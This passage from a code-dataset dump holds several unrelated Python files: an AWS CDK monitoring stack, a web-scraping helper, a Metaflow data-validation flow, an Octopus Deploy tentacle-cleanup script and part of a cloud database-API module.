deployment_config=codedeploy.LambdaDeploymentConfig.LINEAR_10_PERCENT_EVERY_1_MINUTE,\n alarms=[failure_alarm, failure_invo_alarm\n ]\n )\n \n \n codedeploy.LambdaDeploymentGroup(self, \"dynamofailure_mak_id1\",\n alias=dynamo_alias,\n deployment_config=codedeploy.LambdaDeploymentConfig.LINEAR_10_PERCENT_EVERY_1_MINUTE,\n alarms=[Dynamofailure_invo_alarm,Dynamofailure_duration_alarm \n\n ]\n )\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Binding Failure Alarms with %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Simple Notification Service %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% To Genrate Emails %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n #Binding Failure Alarms with SNS\n \n Dynamofailure_invo_alarm.add_alarm_action(cw_actions.SnsAction(my_topic))\n Dynamofailure_duration_alarm.add_alarm_action(cw_actions.SnsAction(my_topic))\n failure_alarm.add_alarm_action(cw_actions.SnsAction(my_topic))\n failure_invo_alarm.add_alarm_action(cw_actions.SnsAction(my_topic)) \n \n ''' \n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Definining API %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n \n \n \n # Creating a table which'll shift data from s3 bucket to table and then we'll perform CRUD \n # operations on that table based the API\n #create lambda to shift data from bucket to DB?\n \n bucket_to_db = self.create_dbtable(\"mak_bucket_to_table\",'url') \n bktToDBHandler = self.create_lambda('makBucketToDB', './resources', 'BucketToDB.bucket_to_dbHandler',role)\n bktToDBHandler.apply_removal_policy(RemovalPolicy.DESTROY)\n bucket_to_db.grant_full_access(bktToDBHandler)\n \n bktToDBHandler.add_environment('bucketName', bucketName)\n bktToDBHandler.add_environment('bktTotable', bucket_to_db.table_name)\n WebHealthLambda.add_environment('bktTotable', bucket_to_db.table_name)\n WebHealthLambda.add_environment('topic_arn', my_topicARN)\n \n #define api with endpoint as lambda and then invoke table in that lambda \n # perform CRUD operation according to request sent to API\n #define resources in stack but when will each operation occur,\n #like what will be the user that'll be interacting with the API to tell it \n # to perform Create, Read, Update, Delete?\n\n \n #dynamo lambda for writing alarm logs to table\n \n ApiHandler = self.create_lambda(\"ApiHandler\", \"./resources\", \"apiHandler.api_Handler\", role)\n ApiHandler.add_environment('bucketName', bucketName)\n ApiHandler.add_environment('bktTotable', bucket_to_db.table_name)\n bucket_to_db.grant_full_access(ApiHandler)\n \n \n # mak_api.\n # instantiating API Gateway\n apirole = self.api_lambda_role()\n self.create_makapi('mak-CrudApi', ApiHandler)#, True, apirole)\n \n dblambda_schedule = events_.Schedule.rate(Duration.minutes(1))\n dblambda_target = targets_.LambdaFunction(bktToDBHandler) #creating the target for the lambda function.\n \n \n '''\n write parameters for rule function.\n \n '''\n \n rule = events_.Rule(self, \"DBLambdaInvocation\", \n description=\"Periodic DB Lambda\", \n schedule = dblambda_schedule,\n enabled = True,\n targets = [dblambda_target])\n\n \n \n\n \n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n##%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% USER DEFINED HELPER FUNCTIONS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n\n '''\n api = defined here\n items = api.root.add_resource(\"items\")\n items.add_method(\"GET\")\n \n \n [*]--------api\n The rest API that this resource is part of.\n The reason we need the RestApi object itself and not just the ID is because the model is being tracked\n by the top-level RestApi object for the purpose of calculating it’s hash to determine the ID of the deployment.\n This allows us to automatically update the deployment when the model of the REST API changes.\n RETURNS IAPI\n \n api.root.addMethod(‘ANY’, redirectToHomePage); \n Type:Represents the root resource (“/”) of this API. Use it to define the API model\n // “ANY /” api.root.addResource(‘friends’).addMethod(‘GET’, getFriendsHandler); // “GET /friends”\n \n add_resource(path_part, *, default_cors_preflight_options=None, default_integration=None, default_method_options=None)\n \n '''\n \n def create_makapi(self,id_=None, handler_=None):#,cloud_watch_role=True,role=None):\n\n\n # creating a lambda-backed API Gateway\n api = gateway.LambdaRestApi(self, \n id = id_, \n handler=handler_,\n cloud_watch_role=True\n )\n \n '''\n allow_origins (Sequence[str]) – Specifies the list of origins that are allowed to make requests to this resource. \n If you wish to allow all origins, specify Cors.ALL_ORIGINS or [ * ].\n Responses will include the Access-Control-Allow-Origin response header. \n If Cors.ALL_ORIGINS is specified, the Vary: Origin response header will also be included.\n '''\n\n # adding resource <health> and methods for it\n health = api.root.add_resource(\"health\")\n # health.add_cors_preflight(\n # allow_origins=['*'],\n # allow_methods=[\"ANY\"])\n \n \n health.add_method(\"GET\", gateway.LambdaIntegration(handler_)) # GET /items\n\n # adding resource <urls> and methods for it\n url = api.root.add_resource(\"url\")\n # url.add_method(\"GET\", gateway.LambdaIntegration(handler_))\n # url.add_cors_preflight(\n # allow_origins=['*'],\n # allow_methods=[\"ANY\"])\n\n url.add_method(\"GET\", gateway.LambdaIntegration(handler_))#,credentials_role=role)) # GET /url\n url.add_method(\"PUT\", gateway.LambdaIntegration(handler_))#,credentials_role=role)) # POST /url\n url.add_method(\"PATCH\", gateway.LambdaIntegration(handler_))#,credentials_role=role)) # UPDATE /url\n url.add_method(\"DELETE\", gateway.LambdaIntegration(handler_))#,credentials_role=role)) # DELETE /url\n \n return api\n \n \n \n def create_lambda(self, id_, asset, handler,role):\n return lambda_.Function(self, id_, \n runtime = lambda_.Runtime.PYTHON_3_6,\n handler = handler,\n timeout= Duration.minutes(1),\n code = lambda_.Code.from_asset(asset),\n role = role\n )\n \n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n ##%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n \n \n \n def create_lambda_role(self, policyName):\n '''\n Link To Docs: https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_iam.html\n https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_iam/ManagedPolicy.html\n \n AWS Identity and Access Management Construct Library:\n Define a role and add permissions to it. This will automatically create and attach an IAM policy to the role:\n \n Class: ManagedPolicy:\n -example: my_role.add_managed_policy(iam.ManagedPolicy.from_aws_managed_policy_name(\"service-role/AWSLambdaBasicExecutionRole\"))\n \n classmethod from_aws_managed_policy_name(managed_policy_name)\n Import a managed policy from one of the policies that AWS manages.\n For this managed policy, you only need to know the name to be able to use it.\n Some managed policy names start with “service-role/”, some start with “job-function/”,\n and some don’t start with anything. Include the prefix when constructing this object.\n \n '''\n lambda_role = iam_.Role(self, \"Role\",\n assumed_by=iam_.ServicePrincipal(\"lambda.amazonaws.com\"),\n description = \"example role\")\n \n lambda_role.add_managed_policy(iam_.ManagedPolicy.from_aws_managed_policy_name(policyName))\n \n return lambda_role\n \n \n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n def create_table(self, id, partition_key=None, sort_key=None):\n '''\n Link: https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_dynamodb/Attribute.html\n aws_cdk.aws_dynamodb.Table Provides a DynamoDB table.\n Parameters\n scope (Construct) –\n id (str) – \n partition_key (Attribute) – Partition key attribute definition.\n sort_key (Optional[Attribute]) – Sort key attribute definition. Default: no sort key\n Attribute-> Represents an attribute for describing the key schema for the table and indexes.\n '''\n dynamo_table = dynamodb.Table(self, id,\n # table_name=tableName,\n partition_key= dynamodb.Attribute(name=partition_key, type=dynamodb.AttributeType.STRING),\n sort_key= dynamodb.Attribute(name=sort_key, type=dynamodb.AttributeType.STRING),\n removal_policy=RemovalPolicy.RETAIN)\n return dynamo_table\n \n \n \n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n \n def lambda_role(self, id=None, assumed_by=None, managed_policies=None): # creating a function for defining a lambda role\n '''\n Link To Docs: https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_iam.html\n https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_iam/ManagedPolicy.html\n \n AWS Identity and Access Management Construct Library:\n Define a role and add permissions to it. This will automatically create and attach an IAM policy to the role:\n \n Class: ManagedPolicy:\n -example: my_role.add_managed_policy(iam.ManagedPolicy.from_aws_managed_policy_name(\"service-role/AWSLambdaBasicExecutionRole\"))\n \n classmethod from_aws_managed_policy_name(managed_policy_name)\n Import a managed policy from one of the policies that AWS manages.\n For this managed policy, you only need to know the name to be able to use it.\n Some managed policy names start with “service-role/”, some start with “job-function/”,\n and some don’t start with anything. Include the prefix when constructing this object.\n \n '''\n \n lambda_role = iam_.Role(self, \"Role\",\n assumed_by=iam_.ServicePrincipal(\"lambda.amazonaws.com\"),\n managed_policies=[\n iam_.ManagedPolicy.from_aws_managed_policy_name('CloudWatchFullAccess'),\n iam_.ManagedPolicy.from_aws_managed_policy_name('AmazonDynamoDBFullAccess'),\n iam_.ManagedPolicy.from_aws_managed_policy_name('service-role/AWSLambdaBasicExecutionRole'),\n iam_.ManagedPolicy.from_aws_managed_policy_name('AWSLambdaInvocation-DynamoDB')\n ])\n return lambda_role\n\n\n\n def api_lambda_role(self, id=None, assumed_by=None, managed_policies=None): # creating a function for defining a lambda role\n '''\n Link To Docs: https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_iam.html\n https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_iam/ManagedPolicy.html\n \n AWS Identity and Access Management Construct Library:\n Define a role and add permissions to it. This will automatically create and attach an IAM policy to the role:\n \n Class: ManagedPolicy:\n -example: my_role.add_managed_policy(iam.ManagedPolicy.from_aws_managed_policy_name(\"service-role/AWSLambdaBasicExecutionRole\"))\n \n classmethod from_aws_managed_policy_name(managed_policy_name)\n Import a managed policy from one of the policies that AWS manages.\n For this managed policy, you only need to know the name to be able to use it.\n Some managed policy names start with “service-role/”, some start with “job-function/”,\n and some don’t start with anything. Include the prefix when constructing this object.\n \n '''\n \n lambda_role = iam_.Role(self, \"APiRole\",\n assumed_by=iam_.ServicePrincipal(\"lambda.amazonaws.com\"),\n managed_policies=[\n iam_.ManagedPolicy.from_aws_managed_policy_name('CloudWatchFullAccess'),\n iam_.ManagedPolicy.from_aws_managed_policy_name('AmazonDynamoDBFullAccess'),\n iam_.ManagedPolicy.from_aws_managed_policy_name('service-role/AWSLambdaBasicExecutionRole'),\n iam_.ManagedPolicy.from_aws_managed_policy_name('AWSLambdaInvocation-DynamoDB')\n ])\n return lambda_role\n # The code that defines your stack goes here\n\n # example resource\n # queue = sqs.Queue(\n # self, \"Sprint4MubarizQueue\",\n # visibility_timeout=Duration.seconds(300),\n # )\n \n \n def create_dbtable(self, id, partition_key=None):\n '''\n Link: https://docs.aws.amazon.com/cdk/api/v1/python/aws_cdk.aws_dynamodb/Attribute.html\n aws_cdk.aws_dynamodb.Table Provides a DynamoDB table.\n Parameters\n scope (Construct) –\n id (str) – \n partition_key (Attribute) – Partition key attribute definition.\n sort_key (Optional[Attribute]) – Sort key attribute definition. Default: no sort key\n Attribute-> Represents an attribute for describing the key schema for the table and indexes.\n '''\n dynamo_table = dynamodb.Table(self, id,\n # table_name=tableName,\n partition_key= dynamodb.Attribute(name=partition_key, type=dynamodb.AttributeType.STRING),\n # sort_key= dynamodb.Attribute(name=sort_key, type=dynamodb.AttributeType.STRING),\n removal_policy=RemovalPolicy.RETAIN)\n return dynamo_table\n \n # def createNewDB(self):\n # # Get the service resource.\n \n # dynamodb = boto3.resource('dynamodb')\n \n # # Create the DynamoDB table.\n # table = dynamodb.create_table(\n # TableName='bktTotableDBNAME1',\n # KeySchema=[\n # {\n # 'AttributeName': 'id_',\n # 'KeyType': 'HASH'\n # },\n # {\n # 'AttributeName': 'url',\n # 'KeyType': 'RANGE'\n # }\n # ],\n # AttributeDefinitions=[\n # {\n # 'AttributeName': 'id_',\n # 'AttributeType': 'N'\n # },\n # {\n # 'AttributeName': 'url',\n # 'AttributeType': 'S'\n # },\n # ],\n # ProvisionedThroughput={\n # 'ReadCapacityUnits': 5,\n # 'WriteCapacityUnits': 5\n # })\n \n # return table","repo_name":"MubarizKhan/web-health-monitor","sub_path":"sprint5_mubariz/sprint5_mubariz_stack.py","file_name":"sprint5_mubariz_stack.py","file_ext":"py","file_size_in_byte":36698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"75035284908","text":"\n\"\"\"\nSimple web scraping utility functions written in Python.\nNamed after the 3D spider.\n\"\"\"\n\nimport requests\nfrom lxml import etree, html\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n\ndef make_driver(headless=True):\n \"\"\"\n Creates a selenium driver interface for Chrome.\n You need to install the chromedriver provided by\n Google and make it accessible through PATH to be able to use it.\n \"\"\"\n opt = Options()\n if headless: \n opt.add_argument('--headless')\n return webdriver.Chrome('chromedriver', chrome_options=opt)\n \ndef fix_suburl(prefix, url, www=False):\n \"\"\"\n More than often, URLs linked by a page are in a 'sub-URL' format :\n for example, if you scrap 'https://www.google.com', all `a` tags\n will point to URLs of the form '/news/10291029'. This function\n is here to safely merge the original URL and the sub-url to get\n a conform URL that will be correctly scraped.\n If you already have a compliant URL, you can just concatenate the\n two. This function also bundles code to determine if the URL\n should be completed with a HTTP(S)/WWW prefix.\n prefix: the base URL of the website\n url: the sub-URL to append to the URL\n \"\"\"\n www = 'www'\n http = 'http'\n https = 'https'\n https_www = www + https\n http_www = www + http\n\n if url[0] == '/':\n return prefix + url\n else:\n return url\n \ndef complete_url(url, www=False, https=True):\n \"\"\"\n If your URL does not contain any HTTP protocol prefix, you can\n use this function to add one. If you also want to add 'www' to\n the URL, use the boolean parameter of the same name.\n \"\"\"\n _www = 'www'\n _http = 'http://'\n _https = 'https://'\n https_www = _https + _www\n http_www = _http + _www\n \n if https_www in url:\n return url\n elif http_www in url:\n return url\n elif http_www not in url and _http in url and www:\n return url.replace(_http, http_www)\n elif https_www not in url and _https in url and www:\n return url.replace(_https, _https_www)\n else:\n return _https + url\n\nclass Scraper:\n \"\"\"\n A wrapper to perform web scraping atop of lxml, requests and selenium (with only\n Chrome support at the moment). You can directly provide an URL when you create\n the object to immediatly start scraping data. If you need to use selenium, you\n need to use the `make_driver` function to create a driver and provide to the object\n either in the constructor or the get function.\n \"\"\"\n def __init__(self, url=None, driver=None):\n if driver:\n self.driver = driver\n if url:\n self.get(url)\n \n def get(self, url, autocompletion=True):\n \"\"\"\n Scrap an URL using the requests module. Returned data goes into `self.page`, whereas\n raw HTML can be found in `self.html` and the lxml tree in `self.tree`. This function\n simply retrieves the HTML content without processing any client-side scripts. If the\n website you want to scrap makes heavy use of Javascript to display content, you need\n to use `get_full`.\n \"\"\"\n if autocompletion:\n nurl = complete_url(url)\n if nurl != url:\n print('\\'{}\\' autocompleted to \\'{}\\'.'.format(url, nurl))\n url = nurl\n\n self.page = requests.get(url)\n self.html = self.page.content\n self.tree = html.fromstring(self.html)\n\n def get_full(self, url, driver=None, headless=True, autocompletion=True):\n \"\"\"\n Scrap an URL using selenium. If you want client-side scripts to be executed before scraping,\n this is the function you should use rather than `get`. With selenium, we can load the page\n inside a real browser such as Chrome so that the Javascript is run by the browser beforehand.\n Aside from providing the URL, you have control over two options :\n \n 1. Provide a driver\n As opening a driver takes several seconds, it may be wise to create it beforehand then pass it\n to the function. If you don't need to use more than once, you can ignore this, as the function\n will create a one-off driver if no driver if provided. This temporary driver will be closed once\n we have scraped the data. Otherwise, you should create your driver, then pass it to each call \n of the function for every URL you want to scrap data from.\n \n 2. Enable/Disable headless mode\n A browser running in 'headless mode' simply means that no ressources are wasted on opening a\n GUI. Headless mode is enabled by default, as scraping is automated and has no need for a GUI.\n This mode is also needed if you use this function on a native terminal, with no graphical\n capabilities.\n \n TODO: Add generic browser support.\n \"\"\"\n if not driver:\n opt = Options()\n if headless: \n opt.add_argument('--headless')\n self.driver = webdriver.Chrome('chromedriver', chrome_options=opt)\n else:\n self.driver = driver\n\n if autocompletion:\n nurl = complete_url(url)\n if nurl != url:\n print('\\'{}\\' autocompleted to \\'{}\\'.'.format(url, nurl))\n url = nurl\n\n self.driver.get(url)\n self.html = self.driver.page_source\n self.tree = html.fromstring(self.html)\n \n if not driver:\n self.driver.quit()\n\n def xpath(self, *exprs):\n \"\"\"\n Once you have scraped an URL, you can query it through XPath expressions.\n This uses the lxml module. You can pass several expressions at once to\n scrap multiple elements of different nature. The results will be returned\n together.\n \"\"\"\n if not exprs:\n return []\n return self.tree.xpath(exprs[0]) + self.xpath(*exprs[1:])\n\nif __name__ == '__main__':\n sc = Scraper()\n url = 'https://www.google.com'\n sc.get(url)\n results = sc.xpath('//a/@href')\n print(results)\n \n","repo_name":"Zebralt/pyutils","sub_path":"lucas.py","file_name":"lucas.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20634942462","text":"\nfrom metaflow import FlowSpec, step, card\nimport json\n\nclass Validation_Flow(FlowSpec):\n \"\"\"\n train a random forest\n \"\"\"\n @card \n @step\n def start(self):\n \"\"\"\n Load the data\n \"\"\"\n #Import scikit-learn dataset library\n from sklearn import datasets\n from sklearn.model_selection import train_test_split\n\n #Load dataset\n self.iris = datasets.load_iris()\n self.X = self.iris['data']\n self.y = self.iris['target']\n self.labels = self.iris['target_names']\n\n self.X_train, self.X_test, self.y_train, self.y_test = train_test_split(self.X, self.y, test_size=0.2)\n self.next(self.data_validation)\n \n\n\n @step\n def data_validation(self):\n \"\"\"\n Perform data validation with great_expectations\n \"\"\"\n import pandas as pd\n from ruamel import yaml\n import great_expectations as ge\n from great_expectations.core.batch import RuntimeBatchRequest\n\n context = ge.get_context()\n\n \n from sklearn import datasets\n iris = datasets.load_iris()\n df = pd.DataFrame(data=iris['data'], columns=iris['feature_names'])\n df[\"target\"] = iris['target']\n #df[\"petal length (cm)\"][0] = -1\n\n # configuration for data validation checkpoint\n checkpoint_config = {\n \"name\": \"flowers-test-flow-checkpoint\",\n \"config_version\": 1,\n \"class_name\": \"SimpleCheckpoint\",\n \"run_name_template\": \"%Y%m%d-%H%M%S-flower-power\",\n \"validations\": [\n {\n \"batch_request\": {\n \"datasource_name\": \"flowers\",\n \"data_connector_name\": \"default_runtime_data_connector_name\",\n \"data_asset_name\": \"iris\",\n },\n \"expectation_suite_name\": \"flowers-testing-suite\",\n }\n ],\n }\n context.add_checkpoint(**checkpoint_config)\n\n # results of data validation\n # then build and view docs\n results = context.run_checkpoint(\n checkpoint_name=\"flowers-test-flow-checkpoint\",\n batch_request={\n \"runtime_parameters\": {\"batch_data\": df},\n \"batch_identifiers\": {\n \"default_identifier_name\": \"<YOUR MEANINGFUL IDENTIFIER>\"\n },\n },\n )\n context.build_data_docs()\n context.open_data_docs()\n\n self.next(self.end)\n\n \n @step\n def end(self):\n \"\"\"\n End of flow!\n \"\"\"\n print(\"Validation_Flow is all done.\")\n\n\nif __name__ == \"__main__\":\n Validation_Flow()\n","repo_name":"outerbounds/full-stack-ML-metaflow-tutorial","sub_path":"flows/ecosystem/iris_validate.py","file_name":"iris_validate.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"37"} +{"seq_id":"11557066719","text":"import json\r\nimport requests\r\nimport sys\r\nimport warnings\r\n\r\n\r\n\r\n# Define Octopus server variables\r\noctopus_server_uri = sys.argv[1] # 'http://octopus/' \r\noctopus_server_uri = octopus_server_uri + '/api'\r\noctopus_api_key = sys.argv[2] #'API-xxx'\r\n\r\nheaders = {'X-Octopus-ApiKey': octopus_api_key}\r\n\r\n\r\ndef get_octopus_resource(uri):\r\n response = requests.get(uri, headers=headers)\r\n response.raise_for_status()\r\n\r\n return json.loads(response.content.decode('utf-8'))\r\n\r\n\r\ndef get_by_name(uri, name):\r\n resources = get_octopus_resource(uri)\r\n return next((x for x in resources if x['Name'] == name), None)\r\n\r\n\r\nspace_name = ''\r\nprefix = sys.argv[3] #TentacleName\r\n\r\ntopology = sys.argv[4] #Topology type\r\nprint(\"prefix is:\",prefix)\r\nprint(\"topology is:\",topology)\r\n\r\nif topology == \"small\":\r\n targets = [prefix+\"-appvm\"]\r\nelif topology == \"medium\":\r\n targets = [prefix+\"-appvm\", prefix+\"-dbvm\"]\r\nelif topology == \"large\":\r\n targets = [prefix+\"-appvm\", prefix+\"-dbvm\", prefix+\"-rmqvm\"]\r\nelse:\r\n print(\"topology does not match any defined ones:small,medium or large\")\r\n sys.exit()\r\n \r\nspace = get_by_name('{0}/spaces/all'.format(octopus_server_uri), space_name)\r\nprint (\"Tentacles to be deleted:\",targets)\r\n\r\nfor target_name in targets:\r\n target = get_by_name('{0}/{1}/machines/all'.format(octopus_server_uri, space['Id']), target_name)\r\n if target:\r\n print (\"Deleting Target:\",target_name)\r\n print ('Tentacle Found:',target_name,'with Target-ID:',target['Id'])\r\n uri = '{0}/{1}/machines/{2}'.format(octopus_server_uri, space['Id'], target['Id'])\r\n response = requests.delete(uri, headers=headers)\r\n response.raise_for_status()\r\n print(target_name,'Tentacle has been deleted')\r\n else:\r\n print(target_name,'Tentacle was not found')\r\n warnings.warn('Tentacle was not found')","repo_name":"saurabhmik/test","sub_path":"DeleteTenant.py","file_name":"DeleteTenant.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21839029442","text":"from oslo_log import log as logging\nfrom oslo_utils import uuidutils\n\nfrom newcloudo2o.common.i18n import _LE\n\nfrom newcloudo2o.db import api as db_api\nfrom newcloudo2o.db import core\nfrom newcloudo2o.db import models\n\nLOG = logging.getLogger(__name__)\n\n\ndef create_ag_az(context, ag_name, az_name):\n aggregate = core.create_resource(context, models.Aggregate,\n {'name': ag_name})\n core.create_resource(\n context, models.AggregateMetadata,\n {'key': 'availability_zone',\n 'value': az_name,\n 'aggregate_id': aggregate['id']})\n extra_fields = {\n 'availability_zone': az_name,\n 'metadata': {'availability_zone': az_name}\n }\n aggregate.update(extra_fields)\n return aggregate\n\n\ndef get_one_ag(context, aggregate_id):\n aggregate = core.get_resource(context, models.Aggregate, aggregate_id)\n metadatas = core.query_resource(\n context, models.AggregateMetadata,\n [{'key': 'key', 'comparator': 'eq',\n 'value': 'availability_zone'},\n {'key': 'aggregate_id', 'comparator': 'eq',\n 'value': aggregate['id']}], [])\n if metadatas:\n aggregate['availability_zone'] = metadatas[0]['value']\n aggregate['metadata'] = {\n 'availability_zone': metadatas[0]['value']}\n else:\n aggregate['availability_zone'] = ''\n aggregate['metadata'] = {}\n return aggregate\n\n\ndef get_ag_by_name(context, ag_name):\n filters = [{'key': 'name',\n 'comparator': 'eq',\n 'value': ag_name}]\n aggregates = get_all_ag(context, filters)\n if aggregates is not None:\n if len(aggregates) == 1:\n return aggregates[0]\n\n return None\n\n\ndef delete_ag(context, aggregate_id):\n core.delete_resources(context, models.AggregateMetadata,\n [{'key': 'aggregate_id',\n 'comparator': 'eq',\n 'value': aggregate_id}])\n core.delete_resource(context, models.Aggregate, aggregate_id)\n return\n\n\ndef get_all_ag(context, filters=None, sorts=None):\n aggregates = core.query_resource(context,\n models.Aggregate,\n filters or [],\n sorts or [])\n metadatas = core.query_resource(\n context, models.AggregateMetadata,\n [{'key': 'key',\n 'comparator': 'eq',\n 'value': 'availability_zone'}], [])\n\n agg_meta_map = {}\n for metadata in metadatas:\n agg_meta_map[metadata['aggregate_id']] = metadata\n for aggregate in aggregates:\n extra_fields = {\n 'availability_zone': '',\n 'metadata': {}\n }\n if aggregate['id'] in agg_meta_map:\n metadata = agg_meta_map[aggregate['id']]\n extra_fields['availability_zone'] = metadata['value']\n extra_fields['metadata'] = {\n 'availability_zone': metadata['value']}\n aggregate.update(extra_fields)\n\n return aggregates\n\n\ndef get_pod_by_az_tenant(context, az_name, tenant_id):\n pod_bindings = core.query_resource(context,\n models.PodBinding,\n [{'key': 'tenant_id',\n 'comparator': 'eq',\n 'value': tenant_id}],\n [])\n for pod_b in pod_bindings:\n pod = core.get_resource(context,\n models.Pod,\n pod_b['pod_id'])\n if az_name and pod['az_name'] == az_name:\n return pod, pod['pod_az_name']\n elif az_name == '' and pod['az_name'] != '':\n # if the az_name is not specified, a defult bottom\n # pod will be selected\n return pod, pod['pod_az_name']\n else:\n pass\n\n # TODO(joehuang): schedule one dynamically in the future\n if az_name != '':\n filters = [{'key': 'az_name', 'comparator': 'eq', 'value': az_name}]\n else:\n filters = None\n\n # if az_name is valid, select a pod under this az_name\n # if az_name is '', select the first valid bottom pod.\n # change to dynamic schedluing in the future\n pods = db_api.list_pods(context, filters=filters)\n for pod in pods:\n if pod['pod_name'] != '' and pod['az_name'] != '':\n 